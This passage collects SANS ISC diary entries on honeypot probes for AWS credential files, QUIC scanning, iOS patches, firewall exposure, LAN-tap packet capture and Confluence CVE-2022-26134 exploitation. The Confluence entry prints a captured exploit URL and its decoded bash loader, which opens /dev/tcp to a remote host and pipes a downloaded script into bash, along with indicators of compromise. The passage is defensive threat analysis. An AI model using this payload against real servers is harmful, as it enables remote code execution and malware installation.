
 

The AWS config and credential files can be set up by the AWS user and are maintained by the AWS CLI. “The AWS CLI stores sensitive credential information that you specify… in a local file named credentials, in a folder named .aws in your home directory. The less sensitive configuration options that you specify… are stored in a local file named config, also stored in the .aws folder in your home directory” [5]. Considering the nature of the contents of these files, the presence of requests for them suggests that attackers are interested in gaining access to the deployed resources. This highlights the reality that incorrectly configured credential files can lead to compromised systems and accounts in the AWS space, a result that businesses likely wish to avoid. I then checked other requests for configuration files as part of my test to see if this was specific to AWS or if I could find patterns for Azure or other deployments. For this search I focused my search over the nine day timeframe of 2024-02-02 to 2024-02-10. I focused on looking for URLs that contained the string “config” rather than “azure” or “aws” so that I could narrow down the URL count without intentionally excluding any services. While I did not observe any requests for Azure-specific configuration URLs on either honeypot, I did observe a number of other requests for git configuration files. The “/.git/config” files are used to set and control all aspects of the visual and operational aspects of Git repositories for each user [6]. This information can include user identity and settings information. Several other configuration file requests were also observed including “/main_configure.cgi”, “/config.json”, and “/cgi-bin/config.exp”.


Figure 7. Results for named configuration files in the AWS honeypot.

 


Figure 8. Results for named configuration files in the AWS honeypot continued.

 


Figure 9. Results for named configuration files in the Azure honeypot.

Conclusions

Based on the data that I collected between these two honeypots, I believe that scripts used to attempt to resolve these URLs were designed to target AWS-deployed resources and
instances. The lack of any AWS-related URLs from the Azure honeypot supports this theory. My belief is that bots and crawlers look for IPs that are designated to AWS and then attempt to search for misconfigured files that contain valuable information about the users and deployments for further exploitation purposes. With this in mind, businesses and users alike should always remember to follow the AWS best practices[7] to ensure that their deployments are properly secured.

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/
[2] https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html
[3] https://dshield.org/weblogs/urlhistory.html?url=L2F3cy9jcmVkZW50aWFscw==
[4] https://dshield.org/weblogs/urlhistory.html?url=Ly5hd3MvY29uZmln
[5] https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html
[6] https://git-scm.com/book/en/v2/Getting-Started-First-Time-Git-Setup
[7] https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-best-practices.html

 

--
Jesse La Grew
Handler

0 Comments

Published: 2024-03-06

Scanning and abusing the QUIC protocol

The QUIC protocol has slowly (pun intended) crawled into our browsers and many other protocols. Last week, at BSides Zagreb I presented some research I did about applications using (and abusing) this protocol, so it made sense to put this into one diary.

While QUIC has been around for some time, the official RFC 9000 that defines QUIC v1 was released in 2021. Of course, our browsers (namely Chrome, as Google was the main power behind QUIC) started supporting and using QUIC long time ago. Chrome, for example, added support for QUIC back in 2012, while Mozilla Firefox waited until 2021. Today, all browsers not only support QUIC but also use it – A LOT!

For example, if you take a look at your network traffic today to Google, YouTube, Facebook and similar web sites you will see that this network traffic consists of HTTP/3, which uses QUIC, almost exclusively – just open Developer Tools, go to the Network tab and right click on columns, add Protocol and you will see something like this:

This was me streaming something from YouTube – it’s almost exclusively HTTP/3. So, I wanted to understand the protocol and see if there are some potentials for abuse.

Some protocol specifics

While I will not dive into encryption (that was part of the presentation – it should be available soon on YouTube), QUIC makes security and privacy a first-class citizen. In other words, QUIC authors tried to encrypt absolutely everything and as much data as possible. QUIC also relies on TLSv1.3 which helps with a shorter handshake – generally we will have 1 RTT requests, and if we visited a certain web site before we can even have 0 RTT requests – quite impressive!

RFC 9000 describes all the details (and I’ll make a follow up diary about encryption), but here are couple of things that are important for the rest of this diary:

  • While the QUIC protocol encrypts everything even in the first packet, it is still possible to decrypt some frame information and get certain metadata about the connection, including TLSv1.3 exchange parameters. This cannot be solved really – in the first packet there is no relationship between a server and a client so the public part of a randomly generated key (by a client) is sent in plain text, and the salt that is used for HKDF algorithms used by QUIC is a static value (it’s always 38762cf7f55934b34d179ae6a4c80cadccbb7f0a – the first SHA-1 collision found by Google researchers).
  • This means that any observer always can decrypt certain metadata from the very first packet. I’m personally not sure of the benefit of this encryption due to this, but passive analysis devices (Hi Darktrace, Vectra …) will have a bit more difficult job in tracking first connections (and they will not see anything after that due to TLSv1.3).
  • These packets define all parameters of a connection, together with supported stream (in QUIC a single connection has multiple streams). The important parameter we will want to pay more attention to is the ALPN (Application Layer Protocol Negotiation) extension that defines what application protocol we want to use. Most often this is h3 for HTTP/3, but it can be absolutely anything!

Applications on top of QUIC

Thanks to ALPN we can basically use practically any application protocol on top of QUIC. Of course, HTTP/3 is the most commonly used protocol, but there is a bunch of other supported protocols already registered with IANA, as we can see at https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids

The one that caught my attention (hence this diary) is SMB2: yes, SMB can work over QUIC. And what’s perhaps even more terrifying is that Microsoft started adding support for this! Some time ago, SMB over QUIC (SMB VPN as Microsoft likes to call it) was available only on Windows Server 2022 Datacenter Azure Edition, however Microsoft actually added support now even in Windows Server 2025 Insider Preview! With client side supported already by Windows 11 – you can even have SMB over QUIC running on premise.

The screenshot below shows my Windows Server 2025 server configured to host SMB over QUIC – which now becomes accessible over UDP port 443 – as any other QUIC application running on this port, including HTTP/3.

Microsoft’s idea here is to allow VPN-less SMB connections – your client might be at home, and “all you need” is to expose SMB over QUIC on UDP port 443 and they can connect to it now from anywhere in the world! What could go wrong here …

Imagine an attacker silently enabling this feature without anyone even knowing, and then using it to exfiltrate data – what a perfect covert channel, blended with HTTP/3.

QUIC scanning

So naturally I became interested in scanning servers for QUIC enabled services – after all, when we perform penetration tests, this should be part of our methodology.

I was sad to see that my favorite tool, nmap, cannot reliably scan QUIC enabled services. As UDP scanning is not easy anyway, due to specific packet contents that need to be generated, the very latest nmap is quite bad (and slow) in fingerprinting QUIC services, even when you enable all probes.

Couple of researchers extended zmap and added modules for QUIC scanning. This extended version is available at https://github.com/tumi8/zmap and it allows one to scan QUIC services – but zmap will only log initial data, if you want more information (i.e. to check for TLS certificates), you will need to use another tool released by same researchers – QScanner, which is available at https://github.com/tumi8/qscanner. It takes zmap’s CSV output and connects to QUIC services to fingerprint supported protocols (oh yeah, I forgot to mention that you can tweak QUIC protocols too, something similar to TCP flavors – but that’s for another diary). However, it supports only HTTP/3.

Releasing quicmap

As I felt that a simple tool that would allow for scanning of QUIC services as well as for fingerprinting supported Application Layer Protocol Negotiation (ALPN) protocols is missing, my colleague Fran ?utura and I made a simple QUIC scanner in Python that we call quicmap.

The scanner is available at https://github.com/bojanisc/quicmap and this first version allows you to scan arbitrary networks, hostnames and IP addresses as well as ports. The tool will run with 50 threads by default so it is quite fast, and the bonus feature is in brute forcing supported ALPN’s so we can identify if another protocol is supported. Fran even sped this up so we used binary searching to be as efficient as possible.

Here is what it looks like:

We already have plans for adding some additional features to make it more reliable in fingerprinting SMB specifically – this will be added in the upcoming days.

Future abuse

As QUIC is here and it will not go away, I think that we will probably see more abuse of this protocol in the future. Due to UDP being used, we already saw some Denial of Service opportunities, but some of these have been fixed.

Being a UDP service, it is perfect for good old port knocking: this is a technique that allows us to start a backdoor service by sending a specific fingerprint/packet to the target server. As we can use our own, non-registered ALPN, this can be almost impossible for identification: we could host a legitimate HTTP/3 web site, and when a specific ALPN is sent a new service can be started.

So how about creating our own C&C channel over a custom ALPN over QUIC? No problem, here’s a simple proof of concept which I should release once I’m not embarrassed with bad code ?

Guess this is enough for this diary, in the next one we’ll take a look at how QUIC encrypts initial packets and metadata.
Let us know if this was useful!

--
Bojan
@bojanz
INFIGO IS

1 Comments

Published: 2024-03-05

Apple Releases iOS/iPadOS Updates with Zero Day Fixes.

Apple today released iOS 17.4 as well as iOS 16.7.6 (and the respective iPadOS versions). These updates fix a total of four vulnerabilities. Two of the vulnerabilities are already being exploited. CVE-2024-23225 is a privilege escalation issue and only affects iOS 17 as well as iOS 16. The second already exploited vulnerability,  CVE-2024-23296, only affects iOS 17.

We rated the exploited vulnerabilities as "important", not "critical". They appear to only allow for privilege escalation.

 

iOS 17.4 and iPadOS 17.4 iOS 16.7.6 and iPadOS 16.7.6
CVE-2024-23243 [important]   Accessibility
A privacy issue was addressed with improved private data redaction for log entries.
An app may be able to read sensitive location information
x  
CVE-2024-23225 [moderate]   *** EXPLOITED ***  Kernel
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
x x
CVE-2024-23296 [moderate]   *** EXPLOITED ***  RTKit
A memory corruption issue was addressed with improved validation.
An attacker with arbitrary kernel read and write capability may be able to bypass kernel memory protections. Apple is aware of a report that this issue may have been exploited.
x  
CVE-2024-23256 [moderate] Safari Private Browsing
A logic issue was addressed with improved state management.
A user's locked tabs may be briefly visible while switching tab groups when Locked Private Browsing is enabled
x  

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-05

Why Your Firewall Will Kill You

illustration of survivaltime showing a burning clockThe last few years have been great for attackers exploiting basic web application vulnerabilities. Usually, home and small business products from companies like Linksys, D-Link, and Ubiquity are known to be favorite targets. But over the last couple of years, enterprise products from companies like Ivanti, Fortigate, Sonicwall, and Citrix (among others) have become easy to exploit targets. The high value of the networks protected by these "solutions" has made them favorites for ransomware attackers.

For a long time, we maintained our "Survivaltime" graph. Not exactly my favorite piece of data, but it showed how, over the years, the average time between unsolicited packets hitting perimeter firewalls. 

So let's look at the average "survival time" of an enterprise-grade firewall. As "survival time", I will define the time it takes for a scan attempting to probe the firewall. For example, for the PulseSecure/Ivanti products, I will use requests for URLs like "/dana-na/nc/nc_gina_ver.txt" and "/dana-cached/hc/HostCheckerInstaller.osx" as they are specific to these firewalls and can be used to identify vulnerable systems. For this test, I considered all URLs containing "/dana-" to target Ivanti. The survival time of an Ivanti instance is approximately one month.

For Fortigate, we can look at a similar pattern, "/remote," often associated with exploits for Fortigate vulnerabilities and scans to determine the firmware version running on a particular device. Our data suggests a similar one-month survival time.

Citrix is a bit more difficult to pinpoint. But many of the exploit and fingerprinting URLs used for Citrix contain "/vpn/". I see fewer of these scans, so you may have two months before your Citrix instance is targeted.

To compare, I also looked at URLs containing "luci." "Luci" is a popular open-source component found in many routers used by home networks. It is still much more popular, with a "survival time" of about a week.

So what does this mean?

1 - Assume compromise

These times are "upper limits". There are many less specific ways to find vulnerable devices. A simple scan of the index page often identifies the device and even the version number. Attackers will also create lists of possible targets before an exploit is released. These devices hide multiple critical vulnerabilities, and vendors do little but wait for third parties to report them. Any attacker interested in exploiting these devices knows that it is just a matter of time before a new exploit is released, and the race is on for the first one to be able to compromise the devices.

2 - Mitigation beats Patching

You will be unable to patch these devices before exploit attempts are launched. Your best bet is to reduce your attack surface. Remove devices as soon as they are no longer needed. Disable features that you do not need. Limit access to any features or admin consoles. 

3 - Know normal

Find out what information the device logs provide, and establish a "baseline" to identify what is normal. How many connections per hour or day? Where do they come from? What features are used, and how will the use of these features be represented in the logs? Understand the log format and enable additional logging if needed.

4 - Your Security Tool Supply Chain

Some security tool vendors often advertise how they protect you from supply chain issues. But remember that they are just as much a part of your supply chain. Monitor your vendor's health. Watch out for acquisitions, layoffs, and changes in business focus. Replacing some of these devices is lengthy, and you must get ahead of it. Re-affirm the company's commitment to the products you rely on and track any "end of support" or "end of life" commitments.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2024-03-03

Capturing DShield Packets with a LAN Tap [Guest Diary]

[This is a Guest Diary by Christopher Von Reybyton, an ISC intern as part of the SANS.edu BACS program]

Introduction

During my internship with the Internet Storm Center I ran into an issue of wanting more information than the default logs would give me. I recalled one of the instructors saying "If we don’t have packets it didn’t happen". This inspired me to try to capture the packets hitting my honeypot. Initially I looked for ways to add logging capabilities to the DShield Honeypot [1]. I found very little information and the information I found I wasn’t able to get to work. Then I remembered that I owned a Great Scott Gadgets Throwing Star LAN Tap [2]. The Throwing Star LAN Tap is a passive Ethernet tap set between my router and the honeypot where I capture .pcap files with Wireshark.

Throwing Star LAN Tap

The Throwing Star LAN Tap can be purchased from greatscottgadgets.com and amazon.com. It has two pass-through ethernet adapters labeled J1 and J2. This allows the LAN Tap to sit between the router and an end device. There are two other ethernet adapters labeled J3 and J4. These adapters have capacitors connected to them and any packets are output to these monitoring ports. By connecting a device to these monitoring ports we are able to capture packets with apps such as Wireshark or tcpdump.
The following image is how the LAN Tap arrives unassembled.

Next is how the LAN Tap looks when assembled. Notice the placement of the capacitors.

Here is an image of the back of the LAN Tap after soldering.

Lastly here is a graphic showing the direction the packets travel to the monitoring ports.

Analysis

An example of how the packet information from Wireshark helps in attack observations can be found in the following screenshots.
First is output from the honeypot using the command "cat webhoneypot-2024-01-25.json | jq 'select(.sip == "80.94.95.226")'". This image shows output with a timestamp of 23:43:18. The attacker is trying to POST information to "/cgi-bin/luci"

The next screenshot shows the output from Wireshark using the filter "http.request.method == "GET" || http.request.method == "POST".  At No. 5181 and timestamp 23:43:17 we see the POST request from IP 80.94.95.226

If we then follow the HTTP Stream of this conversation, we end up with the next screenshot. If you look at the end of the output, you will see the username and password used by the threat actor. This is information that is absent in the DShield logs and gives added insight into the attackers’ behavior.

Identified problems

The main problem I ran into was that my Throwing Star LAN Tap was a kit. I had to solder the Ethernet connectors and diodes to the circuit board. As I don’t have a lot of experience with this it took some trial and error to make sure the connections were soldered on correctly. My first attempt after soldering seemed to have worked as I was able to receive packets for many hours. The next day that I connected I only captured packets that came from the honeypot. I had to disconnect the LAN Tap and go over the connections again to make sure the soldering was correct. The third attempt resulted in capturing full packets.

It should be noted that the reason I only captured packets coming from the honeypot on the second day is that since the Dshield honeypot resets every day the LAN Tap needs to be re-connected everyday as well. And that the monitoring ports only monitor traffic in one direction.

Why It Matters

Packets are how everything is communicated through networks. It doesn’t matter what protocol is used or where the device is located. And while collecting logs is important, being able to see the history of the logs communication in the form of packets is the basis for good information security. Information that may be passed in clear text in the packets may not be picked up by DSHield logs.

Benefits

The main benefit of capturing packets is that you have visibility into the communication going to and from the DShield honeypot. It’s nice seeing the SSH and HTTP logs that DShield collects, but being able to go through the packets gives a much deeper insight into what attacks are happening and how they are happening. For me parsing logs felt like only seeing part of the conversation. Being able to see the packets now makes parsing the logs more complete and easier to interpret. 

Conclusion

Capturing packets between the DShield honeypot and an externally facing router is a powerful tool to help with attack observations and identifying threat actors’ behavior for accurate documentation. In the future I would love to see packet capture capabilities added to the DShield, but until then using a LAN Tap can give us vital information to increase the scope of our attack documentation.

[1] https://isc.sans.edu/tools/honeypot/
[2] https://greatscottgadgets.com/throwingstar/
[3] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments

Published: 2024-03-01

Scanning for Confluence CVE-2022-26134

I have added daemonlogger [1] for packet capture and Arkime [2] to visualize the packets captured by my DShield sensor and started noticing this activity that so far only gone to TCP/8090 which is URL and base64 encoded. The DShield sensor started capturing this activity on the 12 February 2024 inbound from various IPs from various locations.

Activity Overview

Using CyberChef [3] I decoded this URL:

xxx.xxx.59.70:8090/$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27echo%20dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw%2BIi9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA%2BJjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM%2BJi0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK%7Cbase64%20-d%7Cbash%27%29.start%28%29%22%29%7D/

CyberChef Step 1 - URL Decode

CyberChef Step 2 - From Base64


This is the final result of decoding this URL where the actor is attempting to initiate the Nashorn Java Engine, activity has similarity to this article [5] CounterCraft.

xxx.xxx.59.70:8090/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo 
vurl() {
    IFS=/ read -r proto x host query <<<"$1"
    exec 3<>"/dev/tcp/${host}/${PORT:-80}"
    echo -en "GET /${query} HTTP/1.0\r\nHost: ${host}\r\n\r\n" >&3
    (while read -r l; do echo >&2 "$l"; [[ $l == $'\r' ]] && break; done && cat ) <&3
    exec 3>&-
}
vurl http://b.9-9-8[.]com/brysj/w.sh|bash
TSHA256

The above URL while submitted to a sandbox dropped two hashes the first is known as a downloaded shell while the second is still unknown. 

Indicators

http://b.9-9-8[.]com/brysj/w.sh
b.9-9-8[.]com
107.189.31.172

SHA256
d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e [7]
15F53F6F0C234E8A30A8B7CDCFC54468723F64ED5DC036C334D47E4F59C7CFD0

[1] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/Build_a_Docker_Partition.md
[2] https://github.com/bruneaug/DShield-SIEM/blob/main/AddOn/Configure_Arkime.md
[3] https://gchq.github.io/CyberChef/
[4] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-26134
[5] https://www.countercraftsec.com/blog/active-exploitation-of-confluence-cve-2022-26134/
[6] https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/
[7] https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
[8] https://www.virustotal.com/gui/file/d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

0 Comments